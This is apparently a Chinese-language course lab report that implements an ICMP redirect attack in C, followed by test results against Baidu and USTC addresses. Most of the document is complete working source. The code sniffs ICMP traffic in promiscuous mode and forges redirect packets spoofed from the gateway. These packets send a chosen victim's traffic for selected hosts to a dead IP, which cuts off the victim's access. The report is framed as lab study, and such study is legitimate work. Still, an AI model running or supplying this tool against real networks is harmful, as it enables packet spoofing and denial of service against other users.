一.实现思路
- 使用pcap的混杂模式抓取所有可以嗅探到的包,设置过滤器仅抓取ICMP请求报文和ICMP响应报文。
- 打印出抓取的数据包,解析数据包中的目的MAC,源MAC,源IP和目的IP,随后攻击用户,使其不能访问特定的域名(需要设置)。
- 使用raw socket 并设置IP_HDRINCL(使用户能够自己处理IP首部),自己制作IP首部和ICMP重定向报文的首部,发送给受攻击用户。
- icmp重定向报文首部字段如下:
二.代码实现
#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <time.h>
#define MAX 1024
#define FRAME_HEADER 14
const unsigned char *target = "192.168.31.154"; //攻击目标IP
const unsigned char *Ori_Gw_IP = "192.168.31.1"; //原网关ip
const unsigned char *Redic_IP = "192.168.85.129"; //重定向IP,一个“死”IP
const unsigned char *baidu = "36.152.44.96"; //指定需要攻击的目标域名为百度
const unsigned char *ustc = "202.38.64.246"; //指定需要攻击的目标域名为ustc官网
/*计算校验和*/
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0;
u_int16_t *cbuf;
cbuf=(u_int16_t *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2;
}
if(len)
sum+=*(u_int8_t *)cbuf;
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
// data是抓取的报文数据
void icmp_redirect(int sockfd,const unsigned char *data){
char buf[MAX],*p;
struct ip_header *ip;
struct icmp_header *icmp;
int len,i;
//struct sockaddr_in dest;
struct packet{
struct iphdr ip;
struct icmphdr icmp;
char orgin_iph[28];
}packet;
printf("待攻击的目标地址IP为:%s\n", target);
printf("目标地址的原网关IP为:%s\n", Ori_Gw_IP);
printf("重定向IP为:%s\n\n\n", Redic_IP);
// 手动设置IP首部
packet.ip.version = 4; //版本
packet.ip.ihl = 5; // 首部长度
packet.ip.tos = 0; // 服务类型000--Routine(普通)
packet.ip.tot_len = htons(56); //设置总长度为56B
packet.ip.id = getpid(); // 标识字段
packet.ip.frag_off = 0; // 高3位为DF/MF/0 低13位为片偏移
packet.ip.ttl = 64; // 生存时间为64跳
packet.ip.protocol = IPPROTO_ICMP; // 协议设置为ICMP(值为1)
packet.ip.check = 0; //校验和初始为0
packet.ip.saddr = inet_addr(Ori_Gw_IP); // 原网关IP
// memcpy(Ori_Gw_IP, data+26, 4);
packet.ip.daddr = inet_addr(target); // 受攻击者的IP
// memcpy(Vic_IP, data+30, 4);
packet.icmp.type = 5; // ICMP重定向报文
packet.icmp.code = 1; // code含义为:Redirect for host需要主机重定向
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(Redic_IP);
struct sockaddr_in dest = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(target) // 设置地址为受攻击者的IP
}
};
memcpy(packet.orgin_iph, data+14, 28); // 复制原来报文的IP首部+数据部分的前8B
packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); // 对IP首部求校验和
packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28);
sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
}
void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet){
// printf("这是从网络抓取的包!\n");
int * id = (int *)arg;
printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
int i;
printf("00-15");
for(i=0; i < pkthdr->len; ++i){
printf(" %02x", packet[i]); // packet中含有抓取的报文数据
if( (i + 1) % 16 == 0 ){
printf("\n");
printf("%d-%d:", i+1, i+16);
}
}
/*char dst_mac[7];
char src_mac[7];
char src_ip[5];
char dst_ip[5];
memcpy(dst_mac, packet, 6);
memcpy(src_mac, packet+6, 6);
memcpy(src_ip, packet+14, 4);
memcpy(dst_ip, packet+18, 4);
dst_mac[6] = '\0';
src_mac[6] = '\0';
src_ip[4] = '\0';
dst_ip[4] = '\0';*/
// 对抓去的数据包进行解析
printf("\n目的MAC:%x:%x:%x:%x:%x:%x\n", packet[0], packet[1], packet[2], packet[3], packet[4], packet[5]);
printf("源MAC:%x:%x:%x:%x:%x:%x\n", packet[6], packet[7], packet[8], packet[9], packet[10], packet[11]);
printf("源IP:%d.%d.%d.%d\n", packet[26], packet[27], packet[28], packet[29]);
printf("目的IP:%d.%d.%d.%d\n", packet[30], packet[31], packet[32], packet[33]);
printf("\n");
int sockfd,sockset;
//AF_INET:IPv4网络通信;SOCK_RAW:原始套接字;IPPROTO_ICMP:ICMP传输协议
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
if(sockfd < 0){
printf("创建套接字失败!");
return -1;
}
int nRecvBuf=32*1024; // 接收缓冲
// IPPROTO_IP:IP选项;IP_HDRINCL:设置需要手动设置IP数据包和首部
sockset = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&nRecvBuf, sizeof(int));
if(sockset == -1 ){
printf("设置套接字失败!");
return -1;
}
// 可以修改如下用户目的IP,筛选出使目标用户不再能访问该用户目的IP
if( packet[26] == 202 && packet[27] == 38 && packet[28] == 64 && packet[29] == 246){
printf("开始IP重定向!\n");
icmp_redirect(sockfd, packet);
}
}
int main(int argc, char *argv[]){
pcap_t *handle; /* Session handle */
char *dev; /* The device to sniff on */
char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */
struct bpf_program fp; /* The compiled filter */
char filter_exp[] = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo"; /* The filter expression */ // 只接收icmp的ping请求和ping响应的数据包
bpf_u_int32 mask; /* Our netmask */
bpf_u_int32 net; /* Our IP */
struct pcap_pkthdr header; /* The header that pcap gives us */
const u_char *packet; /* The actual packet */
/* Define the device */
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
return(2);
}
/* Find the properties for the device */
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { // 返回对应设备的IPV4地址和相应的网络掩码
fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
net = 0;
mask = 0;
}
/* Open the session in promiscuous mode */
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); //handle是会话句柄
if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
return(2);
}
/* Compile and apply the filter */
if (pcap_compile(handle, &fp, filter_exp, 1, net) == -1) {
fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
/* Grab a packet */
// packet = pcap_next(handle, &header);
/* Print its length */
// printf("Jacked a packet with length of [%d]\n", header.len);
printf("开始抓取网络ICMP包!\n");
int id = 0;
if (pcap_loop(handle, -1, getPacket, (u_char*)&id) == -1){
fprintf(stderr, "Couldn't start pcap_loop %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
/* And close the session */
pcap_close(handle);
return(0);
}
三.实验结果
1. 对用户进行攻击,使用户无法访问百度
最开始百度是可以正常ping通的
设置要使目标用户无法访问的IP为36.152.44.96
运行重定向攻击程序,并且再次ping百度
抓取的包如下:
百度仍能够ping通,但是ip换成了36.152.44.95,证明攻击发挥了作用
2. 对用户进行攻击,使用户无法访问ustc
可知ustc的IP为202.141.176.6
同样设置攻击IP
此时,ping "www.ustc.edu.cn"时,能够发现收到了重定向报文
并且在攻击程序中显示出开始进行的重定向攻击